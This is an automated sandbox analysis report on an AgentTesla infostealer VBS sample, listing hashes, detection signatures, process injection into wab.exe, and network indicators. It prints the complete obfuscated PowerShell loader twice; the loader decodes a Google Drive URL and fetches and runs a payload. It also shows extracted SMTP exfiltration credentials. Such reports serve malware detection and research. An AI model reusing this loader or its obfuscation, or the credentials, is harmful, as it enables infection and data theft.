Analysis
-
max time kernel
146s -
max time network
143s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
08/03/2024, 02:04
Static task
static1
Behavioral task
behavioral1
Sample
1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556.vbs
Resource
win10v2004-20240226-en
General
-
Target
1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556.vbs
-
Size
22KB
-
MD5
bbf3e640e78ef04169cea2d4fdc8b99a
-
SHA1
0b989fe0ec4d245967375891f401e6eaad551a23
-
SHA256
1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556
-
SHA512
bed6cd983b87a20816ed12b5968fb30590f9907cda5ff9e9d8a17ba65fe9254a9203dcce6d172ce62bb2b44e6d75769535cc955e4df29875f583eacfd4e876d4
-
SSDEEP
384:KScT5cOUi2ZnbxPatJfRRI/DozpsMfdOpNLQ/JD31z3jVOcmjrKWALvW:KSc1fUZZnb5aHRRILod0NLQ/JD13jQh1
Malware Config
Extracted
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
ReparaHogar2013
Extracted
agenttesla
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
ReparaHogar2013 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
resource yara_rule behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp INDICATOR_EXE_Packed_GEN01 behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
resource yara_rule behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
resource yara_rule behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
resource yara_rule behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
resource yara_rule behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
resource yara_rule behavioral1/memory/1468-84-0x00000000006B0000-0x0000000001712000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients behavioral1/memory/1468-85-0x00000000006B0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Blocklisted process makes network request 1 IoCs
flow pid Process 3 1640 WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 drive.google.com 5 drive.google.com 9 drive.google.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 api.ipify.org 17 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1468 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2488 powershell.exe 1468 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2488 set thread context of 1468 2488 powershell.exe 34 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2584 powershell.exe 2488 powershell.exe 2488 powershell.exe 1468 wab.exe 1468 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2488 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2584 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeDebugPrivilege 1468 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1640 wrote to memory of 2584 1640 WScript.exe 28 PID 1640 wrote to memory of 2584 1640 WScript.exe 28 PID 1640 wrote to memory of 2584 1640 WScript.exe 28 PID 2584 wrote to memory of 2396 2584 powershell.exe 30 PID 2584 wrote to memory of 2396 2584 powershell.exe 30 PID 2584 wrote to memory of 2396 2584 powershell.exe 30 PID 2584 wrote to memory of 2488 2584 powershell.exe 32 PID 2584 wrote to memory of 2488 2584 powershell.exe 32 PID 2584 wrote to memory of 2488 2584 powershell.exe 32 PID 2584 wrote to memory of 2488 2584 powershell.exe 32 PID 2488 wrote to memory of 1512 2488 powershell.exe 33 PID 2488 wrote to memory of 1512 2488 powershell.exe 33 PID 2488 wrote to memory of 1512 2488 powershell.exe 33 PID 2488 wrote to memory of 1512 2488 powershell.exe 33 PID 2488 wrote to memory of 1468 2488 powershell.exe 34 PID 2488 wrote to memory of 1468 2488 powershell.exe 34 PID 2488 wrote to memory of 1468 2488 powershell.exe 34 PID 2488 wrote to memory of 1468 2488 powershell.exe 34 PID 2488 wrote to memory of 1468 2488 powershell.exe 34 PID 2488 wrote to memory of 1468 2488 powershell.exe 34
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1d904923afd1492b273adde94f1f53bb7f013fc66dda235714fe579316efa556.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kardinalsystemerne Afslagning Knitwears #>;$Perfector=(cmd /c set /A 115^^0);Function Tetrapartite ([String]$Disrepair){$Perfector=[char][int]$Perfector;$Restaurationsklausulerne=$Perfector+'ubstring';$Shivaist=8;$Biplaneterne=Avlingen($Disrepair);For($Fylderistens=7; $Fylderistens -lt $Biplaneterne; $Fylderistens+=$Shivaist){$Cullisance=$Disrepair.$Restaurationsklausulerne.Invoke($Fylderistens, 1);$Ramninger181=$Ramninger181+$Cullisance;}$Ramninger181;}function Salamier ($Manipulative){& ($Filmcensurers) ($Manipulative);}function Avlingen ([String]$Barwal){$Putid=$Barwal.Length-1;$Putid;}$Borup=Tetrapartite 'IngeminTWatchinrNoden.ua SrhftenQuadratsEksportf SprngheKollektrFoppishrJ gerepiPers.cunS indtpgApholat ';$Eponymism=Tetrapartite ',undsavhSkol pltStnkelatPrecultpsvend.bsSpectro:Melonec/El,tedn/ Coercid NonopirYng,temi.diocravTagvrkeeCat nat.Headsmag .nerpeoDehydreoFre,hangfacetsllJoomshaeAlderwo.Duramencatonedbo Likvidmmarinea/ArbejdeuIn.oingc Vagtpo?Tilbageechal.zaxp umptspCoop,ato RvestorSulfon.tUan.eli=Indl,dtdSkihejsoDekomprwStad.dynUninebrl Bry.seo Brystna UnaltedDatamat&.esectiiPhilan.d Wedbe,=Borat b1OvervurAThinkin1ChalutzTIndgivnSConcoctskalotteMBrne sy6dr tsthFOverpreMUnpen iONonrepofOpslmme4UdfldenyUnjelleABifidlyAManu skU iavermyUdrulnivBlytkkeMindbankcUeffengw Bima,ofhjlpeteK ForfrihTurbinalEfrenaf8Bruye,erFornuftLRvekageNImpoverc GaleniehypoamiaHenregn ';$Filmcensurers=Tetrapartite 'Klejn riNazipare CembalxErhverv ';$Equilaterals=Tetrapartite 'Mosasau$Moretlag keandlGardi.poGasbaghbBlanketa Adiathl Comana:BhootunCMedholdoOversparTestudon Gro,see S.mfuniopmaerkt DegageiEivinsrs Ledsag Reattac=Semipen BombardSSammenktfka.ieoa BehenarBndellatSagsomk-GrsningBEducatei Ser.sftHild rssOperatiTPost.orrSerialia GlamounGjal,resReplanufSladdereTrk.ardrLieusti Arfved-AnnunciSHogtieioStrob suSpuleslrSaba onc S.ddleeMonophy Klbning$SammenbE CaselepEnematao S,vatmnPenucheyMinorismSinn.ngi ndelsbsverdensmstanche Bgespi-untactfDDisc.ideLivmod,s ristet Pemo,ii OverganOgdannaaWarwicktMete,vaiHus.ando.ixtybinSu,erla Greav,f$ osaikPHands,eoNooserspGaspedakArmbevgoInductsmNonrecipBlakketoMasselanBarograiUnsneakss udinet Lemlst ';Salamier (Tetrapartite 'Redescr$DriverlgStortrjlUndisowoRodtegnbP,ismrkafdestedlSkalles: enboenPRenskrioKommentpKategorkRub gosoMet ylomHovedstp Ansi.to ComatonNervekri RedaktsAtomubatMyri,gr=cosesre$RekommaeLipoidsn Infrigv,bxesre:Minde.sajerimiap Wisc npPrfabridParadokaMatrimotFarsereaObserva ') ;Salamier (Tetrapartite 'Mac andIRelaxedm Ent mbpForindsoS.rvicerTheorettEvadatt-Elv,ksaMByggelaoScariold,ekreeru MedborlSystemdePallado EntinctBHyperliiLovovertF dskifsPolyphaTKild.prrYd rvggaRisfuglnprostylsNationafCompla.eAfbudsrrToksine ') ;$Popkomponist=$Popkomponist+'\Togas.Sen' ;Salamier (Tetrapartite '.entyne$Unobeseg Tils alOrlogskoSkraanebCavoursa,egregalBnkerkk:Bal aniP StjaalhSta,funyEfterfosElefantaStjer,e=.olyval(BestillTKeroliteTurntabsbolig.itLamp.et- Fu.orsPLevemu.aTor illt.ewiggehFenrisf Interbl$AsexualPAgterdeo AugustpKkkengrkSvrtbevo Brush.mMidsommp Ventrio BisammnLampistiLenticos Grfabrt Amo al)Daemilj ') ;while (-not $Physa) {Salamier (Tetrapartite 'SoldaneITodusarfSolsort Forha.n(Ramp,ne$trich nCProcincoUnresper Asperin LiteraeTal.erkiStrikketBaa plaiEpicotysPredepl.Irr.denJGavntrho Agte,hboverbitSunres et Managea Bil,edtCuartineBegrnse Korvet-BasineteIdeologqVrdired Karlsen$Andels,BSludde o Sc.phorP,yinggu HonourpNeurolo)Crackne distru{SkamlbeSFaglrertGu,depoaBespre,rKrisefotride an-FaderesSMngdepalUnderriekkkenpee BestigpUnmono Placksu1Tasteru}PaucifyeQuatreflDiscomfsOptimale Us,ige{ParangiS AnodyntBr ttofaFrdigbyr EgresstS,inkdy-Br.esmoSplag arlSa.onifeTaphulsetonga.spgnotobi Xantho1Cosgrov;BlosterSPizz,caa KorisklMacrocoaTemperamStorma,iDepresseBarba,arPr toso Fibr.p$AgtbasiENoncorpq AktiviuDosmerniMendelel,onbitiaBrugerpt.jippedeEquipedrBerrugaa Untze l Ca ablsUbegave}T.lmate ');Salamier (Tetrapartite 'Ufor,le$OrthoepgSickeril ForsvaoArtierhbValgba.askarnsul sammen:NonvoidPScolopehLymphogyHistamisTmrerb aElsdyrh=U shrew(HoosgowTCranfulebut,erfs LrvilltCoplotk-KonsekvPPorcellaAfhngigtAmtsborh emissi Extermi$GypsousPudst rioStimlenpMunchiekGlaciolo StvninmPneumaspHommackoDawtsunnundotteiComfortsBrokkettStenfru)Galopba ') ;}Salamier (Tetrapartite 'Supersp$Spect.egVelf rtlLigateso Severib udskilaSrnumrelfoe.ens:,remmesRBermudaeSpasm thEks anseMiscognbReprse oUaccepttAtok.ldhHematom Hak eor=Deerwoo AntisiGGateposeShi.tintFragten-S.utskeC MinimioOverphinPo yesttDe,ickbeunzippinInsertstTa keba Medbe l$AnlgsfoPTelolecoMetermapoccurrikFortrnco CrosslmMi,bestpMtstatooRiftingnbrudenei.dificesDe.ospht For,or ');Salamier (Tetrapartite 'In,lejr$Anticatg PorticlCoakmoroClivussb AlbumiaImbibealZinckin:WaxflowHUnclutcy Di.zotbNonfactrFetterli tebirkd.uanepai hegnstsRuboutseNirlsu.dUndi,co7,penhea Flagell=Afmagne catefin[TriphenS AntydeyTitu ersVanningtTilvaereTube.kumHept te.,implexCSecuricoUnagingnGuaraunv Iag.taeKiasmesr UdradetDishuma] To,eho:Crossha:TontineFAttendirF.ekvenoElide.em,orrektBCajsunmadokumensUnthroneNyprisa6Oenanth4TonikasSSkrivertLabyrinrIronhaniSprink.nInds rigUnquitt( Lymphe$JinglinRIndkogse UngdomhSpi elieDia onabUnloos o jovinitAnliggehRedskab)E tente ');Salamier (Tetrapartite 'Opga.es$TastefugAutochtlIng uviot inedeb yskildaHyalophlPristal:DampersV Saale e LeksikjZingibee Ge.nemnBra.sche Gataab Sa oli=Hjernek Guldmn[ SuperbS Bi,manyrut,bacs DrogettPizza,seUlejligmWagnc,r.UnincreTDiametre GrundtxReindextAfferen.LerholdEKontoringasbordc Bitterobedrvesd WindfaiEmitternVerfwrigbaubles]Beretti: Film o:MestervAUl,racrSDatab,hCUnrestrIBocciasIUncapev.TiaarsdGAk,ivmae DitetitParimutSFutur,stCor.zosrAnticipiTilordnnPyr midgDi trou(Drum ea$FooldomH snurpeyCanadiebEnkeltsr ecopteiLuerautdT appisiStealthsM.lesheeBohemiad .adder7Delsind) Deport ');Salamier (Tetrapartite 'Afstden$BalmhuggDrea,scl Re.pito KettlebOverruna BukketlStangei:kelepdifPersonlaNtternemNykalk.i S,artklVirksomiFntrrinaGladiolr UkvemsiUansvartsignposeUndrunktUdviklieWeek,innToeveem=Fusenta$Moonsh VLau,cheeChunkinjK nkurse.imbulvnTr kimpeSpanier.modstilsElectrouTownswob,lindissUnbec.mtExograprOverturiGennemtnApprobegC.habit(Solduge3Srgelig0Stt kas5Similar8 S rnin7 Tr.lle9Afvbned,Surhed.3Ludo,ph0Lyssy,n6 Aniesr2 Forlov8Lediges) Guddom ');Salamier $familiariteten;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵PID:2396
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Kardinalsystemerne Afslagning Knitwears #>;$Perfector=(cmd /c set /A 115^^0);Function Tetrapartite ([String]$Disrepair){$Perfector=[char][int]$Perfector;$Restaurationsklausulerne=$Perfector+'ubstring';$Shivaist=8;$Biplaneterne=Avlingen($Disrepair);For($Fylderistens=7; $Fylderistens -lt $Biplaneterne; $Fylderistens+=$Shivaist){$Cullisance=$Disrepair.$Restaurationsklausulerne.Invoke($Fylderistens, 1);$Ramninger181=$Ramninger181+$Cullisance;}$Ramninger181;}function Salamier ($Manipulative){& ($Filmcensurers) ($Manipulative);}function Avlingen ([String]$Barwal){$Putid=$Barwal.Length-1;$Putid;}$Borup=Tetrapartite 'IngeminTWatchinrNoden.ua SrhftenQuadratsEksportf SprngheKollektrFoppishrJ gerepiPers.cunS indtpgApholat ';$Eponymism=Tetrapartite ',undsavhSkol pltStnkelatPrecultpsvend.bsSpectro:Melonec/El,tedn/ Coercid NonopirYng,temi.diocravTagvrkeeCat nat.Headsmag .nerpeoDehydreoFre,hangfacetsllJoomshaeAlderwo.Duramencatonedbo Likvidmmarinea/ArbejdeuIn.oingc Vagtpo?Tilbageechal.zaxp umptspCoop,ato RvestorSulfon.tUan.eli=Indl,dtdSkihejsoDekomprwStad.dynUninebrl Bry.seo Brystna UnaltedDatamat&.esectiiPhilan.d Wedbe,=Borat b1OvervurAThinkin1ChalutzTIndgivnSConcoctskalotteMBrne sy6dr tsthFOverpreMUnpen iONonrepofOpslmme4UdfldenyUnjelleABifidlyAManu skU iavermyUdrulnivBlytkkeMindbankcUeffengw Bima,ofhjlpeteK ForfrihTurbinalEfrenaf8Bruye,erFornuftLRvekageNImpoverc GaleniehypoamiaHenregn ';$Filmcensurers=Tetrapartite 'Klejn riNazipare CembalxErhverv ';$Equilaterals=Tetrapartite 'Mosasau$Moretlag keandlGardi.poGasbaghbBlanketa Adiathl Comana:BhootunCMedholdoOversparTestudon Gro,see S.mfuniopmaerkt DegageiEivinsrs Ledsag Reattac=Semipen BombardSSammenktfka.ieoa BehenarBndellatSagsomk-GrsningBEducatei Ser.sftHild rssOperatiTPost.orrSerialia GlamounGjal,resReplanufSladdereTrk.ardrLieusti Arfved-AnnunciSHogtieioStrob suSpuleslrSaba onc S.ddleeMonophy Klbning$SammenbE CaselepEnematao S,vatmnPenucheyMinorismSinn.ngi ndelsbsverdensmstanche Bgespi-untactfDDisc.ideLivmod,s ristet Pemo,ii OverganOgdannaaWarwicktMete,vaiHus.ando.ixtybinSu,erla Greav,f$ osaikPHands,eoNooserspGaspedakArmbevgoInductsmNonrecipBlakketoMasselanBarograiUnsneakss udinet Lemlst ';Salamier (Tetrapartite 'Redescr$DriverlgStortrjlUndisowoRodtegnbP,ismrkafdestedlSkalles: enboenPRenskrioKommentpKategorkRub gosoMet ylomHovedstp Ansi.to ComatonNervekri RedaktsAtomubatMyri,gr=cosesre$RekommaeLipoidsn Infrigv,bxesre:Minde.sajerimiap Wisc npPrfabridParadokaMatrimotFarsereaObserva ') ;Salamier (Tetrapartite 'Mac andIRelaxedm Ent mbpForindsoS.rvicerTheorettEvadatt-Elv,ksaMByggelaoScariold,ekreeru MedborlSystemdePallado EntinctBHyperliiLovovertF dskifsPolyphaTKild.prrYd rvggaRisfuglnprostylsNationafCompla.eAfbudsrrToksine ') ;$Popkomponist=$Popkomponist+'\Togas.Sen' ;Salamier (Tetrapartite '.entyne$Unobeseg Tils alOrlogskoSkraanebCavoursa,egregalBnkerkk:Bal aniP StjaalhSta,funyEfterfosElefantaStjer,e=.olyval(BestillTKeroliteTurntabsbolig.itLamp.et- Fu.orsPLevemu.aTor illt.ewiggehFenrisf Interbl$AsexualPAgterdeo AugustpKkkengrkSvrtbevo Brush.mMidsommp Ventrio BisammnLampistiLenticos Grfabrt Amo al)Daemilj ') ;while (-not $Physa) {Salamier (Tetrapartite 'SoldaneITodusarfSolsort Forha.n(Ramp,ne$trich nCProcincoUnresper Asperin LiteraeTal.erkiStrikketBaa plaiEpicotysPredepl.Irr.denJGavntrho Agte,hboverbitSunres et Managea Bil,edtCuartineBegrnse Korvet-BasineteIdeologqVrdired Karlsen$Andels,BSludde o Sc.phorP,yinggu HonourpNeurolo)Crackne distru{SkamlbeSFaglrertGu,depoaBespre,rKrisefotride an-FaderesSMngdepalUnderriekkkenpee BestigpUnmono Placksu1Tasteru}PaucifyeQuatreflDiscomfsOptimale Us,ige{ParangiS AnodyntBr ttofaFrdigbyr EgresstS,inkdy-Br.esmoSplag arlSa.onifeTaphulsetonga.spgnotobi Xantho1Cosgrov;BlosterSPizz,caa KorisklMacrocoaTemperamStorma,iDepresseBarba,arPr toso Fibr.p$AgtbasiENoncorpq AktiviuDosmerniMendelel,onbitiaBrugerpt.jippedeEquipedrBerrugaa Untze l Ca ablsUbegave}T.lmate ');Salamier (Tetrapartite 'Ufor,le$OrthoepgSickeril ForsvaoArtierhbValgba.askarnsul sammen:NonvoidPScolopehLymphogyHistamisTmrerb aElsdyrh=U shrew(HoosgowTCranfulebut,erfs LrvilltCoplotk-KonsekvPPorcellaAfhngigtAmtsborh emissi Extermi$GypsousPudst rioStimlenpMunchiekGlaciolo StvninmPneumaspHommackoDawtsunnundotteiComfortsBrokkettStenfru)Galopba ') ;}Salamier (Tetrapartite 'Supersp$Spect.egVelf rtlLigateso Severib udskilaSrnumrelfoe.ens:,remmesRBermudaeSpasm thEks anseMiscognbReprse oUaccepttAtok.ldhHematom Hak eor=Deerwoo AntisiGGateposeShi.tintFragten-S.utskeC MinimioOverphinPo yesttDe,ickbeunzippinInsertstTa keba Medbe l$AnlgsfoPTelolecoMetermapoccurrikFortrnco CrosslmMi,bestpMtstatooRiftingnbrudenei.dificesDe.ospht For,or ');Salamier (Tetrapartite 'In,lejr$Anticatg PorticlCoakmoroClivussb AlbumiaImbibealZinckin:WaxflowHUnclutcy Di.zotbNonfactrFetterli tebirkd.uanepai hegnstsRuboutseNirlsu.dUndi,co7,penhea Flagell=Afmagne catefin[TriphenS AntydeyTitu ersVanningtTilvaereTube.kumHept te.,implexCSecuricoUnagingnGuaraunv Iag.taeKiasmesr UdradetDishuma] To,eho:Crossha:TontineFAttendirF.ekvenoElide.em,orrektBCajsunmadokumensUnthroneNyprisa6Oenanth4TonikasSSkrivertLabyrinrIronhaniSprink.nInds rigUnquitt( Lymphe$JinglinRIndkogse UngdomhSpi elieDia onabUnloos o jovinitAnliggehRedskab)E tente ');Salamier (Tetrapartite 'Opga.es$TastefugAutochtlIng uviot inedeb yskildaHyalophlPristal:DampersV Saale e LeksikjZingibee Ge.nemnBra.sche Gataab Sa oli=Hjernek Guldmn[ SuperbS Bi,manyrut,bacs DrogettPizza,seUlejligmWagnc,r.UnincreTDiametre GrundtxReindextAfferen.LerholdEKontoringasbordc Bitterobedrvesd WindfaiEmitternVerfwrigbaubles]Beretti: Film o:MestervAUl,racrSDatab,hCUnrestrIBocciasIUncapev.TiaarsdGAk,ivmae DitetitParimutSFutur,stCor.zosrAnticipiTilordnnPyr midgDi trou(Drum ea$FooldomH snurpeyCanadiebEnkeltsr ecopteiLuerautdT appisiStealthsM.lesheeBohemiad .adder7Delsind) Deport ');Salamier (Tetrapartite 'Afstden$BalmhuggDrea,scl Re.pito KettlebOverruna BukketlStangei:kelepdifPersonlaNtternemNykalk.i S,artklVirksomiFntrrinaGladiolr UkvemsiUansvartsignposeUndrunktUdviklieWeek,innToeveem=Fusenta$Moonsh VLau,cheeChunkinjK nkurse.imbulvnTr kimpeSpanier.modstilsElectrouTownswob,lindissUnbec.mtExograprOverturiGennemtnApprobegC.habit(Solduge3Srgelig0Stt kas5Similar8 S rnin7 Tr.lle9Afvbned,Surhed.3Ludo,ph0Lyssy,n6 Aniesr2 Forlov8Lediges) Guddom ');Salamier $familiariteten;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵PID:1512
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5196cca8955d606e1f81f020718efa17a
SHA148be2ded89562068cca361decf5be13f5a58470e
SHA25627b4284db3ada949b48b7459c9a6e447f8cb8e757addc0104c17e75f45fe3f9b
SHA512a61f4c3a2a4cef6bd96dc934eab97b78132eeec7d7c952b4497f2ebd95f7c2fa978c445f99fb95d991bb13c717c765121aa9e2ab40415cbc26730f6914f1a6ea
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5d46131aac88a2c9e293e6569e1385383
SHA1f731216657b9451be860c1d49fb94515befc5b38
SHA256f9f71a71dc4717b3656d6e1634478b133440e4de3d14aaa02cf85dd0661a992b
SHA5122f28836e9cbbe645e668c5db5e459f77eb96a2260c88751c6ac8b8ca47dfe97edc15c0bca1b0232a303f658f1d1e667fc70be85a55cb8fe3d6a00ee17102b007
-
Filesize
67KB
MD5753df6889fd7410a2e9fe333da83a429
SHA13c425f16e8267186061dd48ac1c77c122962456e
SHA256b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA5129d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444
-
Filesize
175KB
MD5dd73cead4b93366cf3465c8cd32e2796
SHA174546226dfe9ceb8184651e920d1dbfb432b314e
SHA256a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\278IBQ6VMYZYFVP9PIPH.temp
Filesize7KB
MD51a436bcd2779b7b4631f34a54a308173
SHA11b3750c50f5a4200cac6849c4b52fbdebd0165b1
SHA2563f0c03fbd790ab2efbf9bffd8266ffa36d8b0904e6e2ac7a68faf87769c0604a
SHA512882d6484a9fb40360222f99293f1e22714fe02fb1af2330f98b21c207ff9e20fcadfc26094cb06a5290a9ca0042c489a049cce3f5d7d6ff853fd02f25971c8aa